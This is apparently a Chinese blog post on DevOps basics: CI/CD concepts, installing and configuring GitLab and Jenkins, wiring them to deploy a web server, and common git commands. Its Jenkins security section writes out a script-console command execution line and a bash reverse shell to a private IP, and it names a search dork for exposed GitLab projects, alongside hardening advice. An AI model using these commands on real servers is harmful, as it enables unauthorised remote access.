zoukankan      html  css  js  c++  java
  • devops基础

    1 devops是什么?

    软件开发人员(Dev)
    IT运维技术人员(Ops)
    是一组过程、方法与系统的统称,用于促进开发、技术运营和质量保障(QA)部门之间的沟通、协作与整合
    通过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。

    我理解是,通过一系列方法/制度/工具,使开发/测试/运维的工作流程紧密结合,减少不必要的时间浪费,使开发=>测试=>部署上线整个流程加速
    资本主义压榨手法

    常见方案:DEV+sec+OPS

    实践:

    1. SDL
    2. 安全基线检查

    2 持续集成

    持续集成概述:持续集成(Continuous integration)是指开发者在代码的开发过程中,可以频繁的将代码部署集成到主干,并自动化测试。
    持续交付:持续交付指的是在持续集成的环境基础上,将代码部署到预生产环境。
    持续部署:在持续交付的基础上,把部署到生产环境的过程自动化。

    3 jenkins和 gitlab

    Jenkins 概述:是一个开源软件项目,是基于 Java 开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
    GitLab 概述:是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web界面进行访问公开的私人项目。Ruby on Rails 是一个可以使你开发、部署、维护 web 应用程序变得简单的框架。私有github

    不同点:
    1、GitHub如果要使用私有仓库,是需要付费的。GitLab可以在上面创建私人的免费仓库。
    2、GitLab让开发团队对他们的代码仓库拥有更多的控制,相比于GitHub,它有不少的特色:允许免费设置仓库权限;允许用户选择分享一个project的部分代码;允许用户设置project的获取权限,进一步的提升安全性;可以设置获取到团队整体的改进进度;通过 innersourcing 让不在权限范围内的人访问不到该资源。
    总结:从代码私有性方面来看,有时公司并不希望员工获取到全部的代码,这个时候 GitLab 无疑是更好的选择

    开发只负责开发,也就是将代码上传到git上
    运维负责部署,将代码推送到web服务器上部署运行

    jenkins负责将代码推送到服务器上,gitlab负责存储代码
    1 开发者将新版本 push 到 Gitlab。
    2 Gitlab 随后触发 jenkins master 节点进行一次 build。(通过 web hook 或者定时检测)
    3 jenkins master 节点将这个build任务分配给若干个注册的slave节点中的一个,这个slave点根据一个事先设置好的脚本进行build。这个脚本可以做的事情很多,比如编译,测试,生成测试报告等等。这些原本需要手动完成的任务都可以交给 jenkins 来做。
    4 在 build 中要进行编译,一般使用分布式编译器 distcc 来加快编译速度。

    3.1 gitlab安装配置

    • 安装
    yum makecache
    yum -y install curl policycoreutils cronie policycoreutils-python openssh-server openssh-clients postfix git wget patch
    scp gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm root@172.16.73.21:/
    rpm -ivh /gitlab-ce-12.3.5-ce.0.el7.x86_64.rpm
    

    修改 gitlab 外部访问地址
    vi /etc/gitlab/gitlab.rb

    重置配置,重启服务

    gitlab-ctl reconfigure
    gitlab-ctl restart
    

    访问ip
    创建root密码

    • 配置
      创建组

    建项目


    新建文件

    测试克隆同步

    附录:gitlab相关命令
    关闭 gitlab: # gitlab-ctl stop
    启动 gitlab: # gitlab-ctl start
    重启 gitlab: # gitlab-ctl restart
    gitlab 主配置文件:/etc/gitlab/gitlab.rb //可以自定义一些邮件服务等
    日志地址:/var/log/gitlab/ // 对应各服务
    服务地址:/var/opt/gitlab/ // 对应各服务的主目录
    仓库地址:/var/opt/gitlab/git-data //记录项目仓库等提交信息
    重置配置:gitlab-ctl reconfigure //不要乱用,会重置为最原始的配置的
    重启服务:gitlab-ctl stop/start/restart //启动命令

    3.2 gitlab安全风险

    未授权获取gitlab项目信息

    搜索引擎:inurl:/explore/projects
    直接可以搜到公网的gitlab项目信息

    如果项目不是私密,是公开,则会像下面这样导致源码泄露,敏感信息泄露

    3.3 gitlab安全建设

    1. 公网上的gitlab所有项目设置非公开
    2. /explore/projects修改url
    3. HW中作为诱饵,公开假项目,内藏导向蜜罐的配置信息,溯源攻击者

    3.4 jenkins安装配置

    • 安装
    yum -y install java-1.8.0
    java -version
    1)最新版安装,慢
    cd /etc/yum.repos.d/
    wget http://pkg.jenkins.io/redhat/jenkins.repo
    rpm --import http://pkg.jenkins.io/redhat/jenkins.io.key
    yum makecache
    yum install jenkins
    2)rpm包安装
    下载上传rpm
    rpm -ivh jenkins-2.190.1-1.1.noarch.rpm
    
    • 配置
      修改用户和端口
      vi /etc/sysconfig/jenkins

    重启服务,开机自启
    /etc/init.d/jenkins start
    chkconfig jenkins on
    访问ip:端口

    /var/lib/jenkins/secrets/initialAdminPassword储存着jenkins的root密码
    因为插件安装从国外下载,通过上传插件文件夹来安装

    systemctl stop jenkins
    cd /var/lib/jenkins/
    rm -rf plugins/
    chown -R jenkins:jenkins plugins/
    systemctl start jenkins
    

    重新访问jenkins的web页面,选择安装推荐的插件
    创建管理员用户

    点点点

    3.5 jenkins安全风险

    弱口令导致的后台危险操作

    1. 后台命令执行反弹shell
      url:ip:port/script
      println "whoami".execute().text

      反弹:bash -i >& /dev/tcp/192.168.1.24/9999 0>&1
    2. 凭据泄露
      ssh/gitlab=>后门/不良内容上传
    3. 构建执行命令导致远程服务器被getshell

    3.6 jenkins安全建设

    1. 强口令
    2. 低权限
    3. 版本更新=>及时防止Nday攻击

    4 jenkins+gitlab部署web服务器

    通过Jenkins、gitlab对远程web服务器部署代码更新

    添加凭据

    配置SSH

    创建任务

    rm -rf /opt/man1
    cd /opt
    git clone http://172.16.73.21/man/man1.git
    cp -rf /opt/man1/* /var/www/html
    

    保存
    立即构建就会执行上面的命令,作用是同步更新gitlab的源码到web服务器上

    控制台输出看构建过程

    以后gitlab更新源码,在jenkins构建一下就可以同步更新了

    5 git

    5.1 配置

    git的配置分用户和项目

    • 用户:~/.gitconfig
      用户目录下的配置文件只适用于该用户,若使用git config时加了--global选项,读写的就是这个文件
      git config --global user.name "root"
      git config --global user.email "admin@example.com"
      cat ~/.gitconfig

    • 项目:当前项目中的.git/config
      项目下的配置文件仅对当前项目有效,如果想要特定项目的配置与用户配置不同,进入到特定项目下,去掉--global选项重新配置即可
      cd wordpress/
      git config user.name "root"
      git config user.email "admin@example.com"
      cat .git/config

    5.2 常用命令

    设置全局用户名:git config --global user.name "name"
    设置全局邮箱:git config --global user.email "admin@example.com"
    列出用户的全局配置:git config --global --list
    添加文件到暂存区:git add file
    提交到版本库:git commit -m "注释"
    查看工作区状态:git status
    提交代码到git服务器:git push
    拉取代码到本地:git pull
    查看操作日志:git log
    git版本回滚,HEAD为当前版本,加一个为上一个,^上一个:git rest --hard HEAD^^
    获取每次提交的ID:git reflog
    回退到指定ID版本:git reset --hard 5ae4b06
    查看当前所处分支:git branch
    从git服务器更新某文件覆盖本地文件:git checkout -- file

    5.3 工作区和暂存区

    文件提交git过程:工作区->暂存区->git服务器
    工作区是编辑文件的区域,需要将工作区修改好的文件add到暂存区才能提交到git服务器
    可以选择添加工作区的一个或多个文件到暂存区

    提交需要设置用户和邮箱,可以设置全局也可以进项目文件夹设置本地

    git config --global user.name "Administrator"
    git config --global user.email "admin@example.com"
    

    分支提交:

    git clone x
    cd x
    git branch x1    #创建分支
    git checkout x1    #切换分支
    git branch    #查看所处分支
    touch test.txt
    git add test.txt    #提交到暂存区
    git commit -m "add test.txt"    #提交到版本库
    git push -u origin x1    #上传到分支
    

    主支提交:

    git clone http://192.168.17.216/root/git-test.git
    cd git-test
    touch README.md
    git add README.md
    git commit -m "add README"
    git push -u origin master
    

    推送现有文件夹:

    cd existing_folder
    git init
    git remote add origin http://192.168.17.216/root/git-test.git
    git add .
    git commit -m "Initial commit"
    git push -u origin master
    

    推送现有的 Git 仓库:

    cd existing_repo
    git remote rename origin old-origin
    git remote add origin http://192.168.17.216/root/git-test.git
    git push -u origin --all
    git push -u origin --tags
    
  • 相关阅读:
    vue与react的区别
    for(key in obj)
    github上传项目
    第一个blog
    黑客几乎绝不用鼠标?
    中国白帽黑客调查
    编程新手六部曲
    程序猿看了要xiao了
    程序是如何执行的?
    IT 技术人需要思考的 15 个问题
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13799798.html
Copyright © 2011-2022 走看看